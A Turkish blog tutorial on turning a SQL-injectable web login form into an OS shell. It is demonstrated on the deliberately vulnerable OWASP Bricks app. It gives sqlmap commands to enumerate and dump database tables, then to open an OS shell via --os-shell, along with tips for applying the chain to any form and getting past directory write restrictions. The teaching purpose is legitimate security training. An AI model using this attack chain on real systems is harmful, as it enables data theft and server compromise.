SGE Blog Yayınları

Web Login Panel'den Shell Alma

Web Login Panel'den Shell Alma

yazan Hasan Fatih Şimşek -
Number of replies: 0

Otomatik taramalar sırasında rast gelinebilen web uygulama login ekranları için login ekran’dan shell’e uzanan bir metot aşağıda sunulmuştur.

Şartlar

* Web uygulama login ekranındaki kullanıcı adı metin kutusunda veya parola metin kutusunda veya herhangi bir başka girdi alanında sql enjeksiyonu açıklığı var olmalı

* Web uygulama sql enjeksiyonu önleyici Bir IPS/WAF ürünleri ile korunmuyor olmalı

* Web uygulama dizinleri write (yazma) iznine sahip olmalı 

Adımlar

#1 Burpsuite ile Bir Login Ekrandaki Gönderilen Paketi Alma

request.txt

#2 SQLi Açıklığını Tespit Etme ve Sömürme

> sqlmap -r request.txt --dbs --level 5 --risk 3 // Veritabanı adlarını sıralar.

> sqlmap -r request.txt -D veritabaniAdi --tables // Tablo adlarını sıralar.

> sqlmap -r request.txt -D veritabaniAdi -T tabloAdi --columns // Kolon adlarını sıralar.

> sqlmap -r request.txt -D veritabaniAdi -T tabloAdi -C kolonAdi1,kolonAdi2 --dump     // İçeriği sunar

#3 SQLi Açıklığı Yoluyla Geçerli Bir Login Panel Kullanıcı Adını Alma ve Shell'e Geçme

request.txt dosyasındaki username v.b. parametre önceki sqli saldırılarından elde edilen ve –dump ile ekrana basılan geçerli bir kullanıcı adıyla güncellenmeli. Böylece --os-shell başarılı çalışacaktır.

> sqlmap -r "request(guncellenmis).txt" --os-shell

os-shell> whoami

ubuntu

os-shell> uname -a

‘Linux 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:00:10 UTC 2014 x86_64 x86_64 GNU/Linux’

os-shell>

UYGULAMA

(*) OWASP Bricks adlı kasıtlı zafiyetlere sahip web uygulama üzerinde login panel’den sql enjeksiyonu yoluyla shell alma uygulanmıştır.

#1 Burpsuite ile Bir Login Ekrandaki Gönderilen Paketi Alma

loginwebshell1

weblogin2

weblogin3

weblogin4

weblogin5

weblogin6

weblogin7

weblogin8

weblogin9


#2 SQLi Açıklığını Tespit Etme ve Sömürme

weblogin10

weblogin11


weblogin12

weblogin13

weblogin14

weblogin15

weblogin16

weblogin17

GEÇERLİ BİR KULLANICI ADI SQLi SALDIRISINDAKİ BU NİHAİ ÇIKTIDAN ALINIR. ÖRN; admin.

#3 SQLi Açıklığı Yoluyla Geçerli Bir Login Panel Kullanıcı Adını Alma ve Shell'e Geçme

weblogin18

weblogin19

weblogin20

weblogin21

weblogin22

weblogin23

weblogin24

Not: 

Shell alabilmek için geçerli bir kullanıcı adı gerekliliği (veya onun yerine parola da olabilir) nedeni web uygulamadaki yerleşik başlangıç sql sorgusunun sql hatası vermeyecek şekilde sonuç dönmesi ve bu sayede ilave olarak enjekte ettiğimiz web shell upload’lama sorgusunun işini uygulayabilmesidir. Web uygulamadaki yerleşik başlangıç sorgu sql hatası verirse bu durumda bu sorguya enjekte ettiğimiz sorgudaki web shell upload’lama faaliyeti başarılı olamamaktadır ve web shell dosyası boş içerikte web uygulama sunucusuna upload’lanmaktadır. Bu nedenle yerleşik başlangıç sorgu enjekte edilen sorgunun web shell’i düzgün upload’layabilmesi için hata vermeyecek şekilde çalıştırılmalıdır, yani geçerli bir veri ile doldurulmalıdır. Bu örnekte geçerli bir kullanıcı adı ile doldurulması gibi.

EKSTRA

Bu uygulanan saldırı metodu sadece login panel’le sınırlı kalmak zorunda değildir. Taramalar sırasında gelen herhangi bir web ekranında gönderilen paket burpsuite ile kopyalanıp sqlmap’e paket.txt şeklinde sunularak aynı işlem zinciri takip edilebilir ve paket içerisindeki girdi noktalarında sql enjeksiyonu açıklığı varsa shell’e doğru yol alınabilir.

Login ekran durum çalışmasında geçerli bir kullanıcı adı girilmesi şarttı shell’e gidebilmek için. Fakat başka durum çalışmalarında (örn; herhangi bir girdi kabul eden ve girdiye göre veritabanından bazı kayıtlar dönebilen bir web ekranında) geçerli bir değer bulma derdi yoktur. Zaten ekranda elle deneyerek ekranın istediği veriye göre bir veri girilip karşılığında kayıt dönüşü yakalandığında doğrudan kopyalanacak pakete ilgili geçerli veri girilip --os-shell denemesi yapılabilir. Yani kimi web ekranlarında geçerli bir girdi versini elle bulmak mümkündür. Örn; şehir ismi bekleyen metin kutusuna “ankara” girilmesi ve bu geçerli verinin paketteki ilgili parametrede güncellenip konulması ve --os-shell’e gidilmesi gibi. 

Sql enjeksiyonu var olsa bile ve IPS/WAF olmasa bile shell alınamayabilir. Çünkü hedef web uygulamada sqlmap’in denediği varsayılan dizinlerde yazma izni olmayabilir. Eğer son aşamaya kadar gelinirse ve dizin yazma iznine takılınırsa bu durumda web uygulamada upload v.b. bir dizin keşfi yapılması gerekir ki bu tür dizinler yazma iznine sahiptirler. Sqlmap’e bu dizini hedef göstererek web shell upload’laması yaptırarak dizin yazma engeli aşılabilir.

KAYNAKLAR

https://github.com/sqlmapproject/sqlmap/issues/3232

https://www.willhackforsushi.com/?p=581

https://community.rsa.com/community/products/netwitness/blog/2017/04/10/from-sql-injection-to-webshell

589 kelime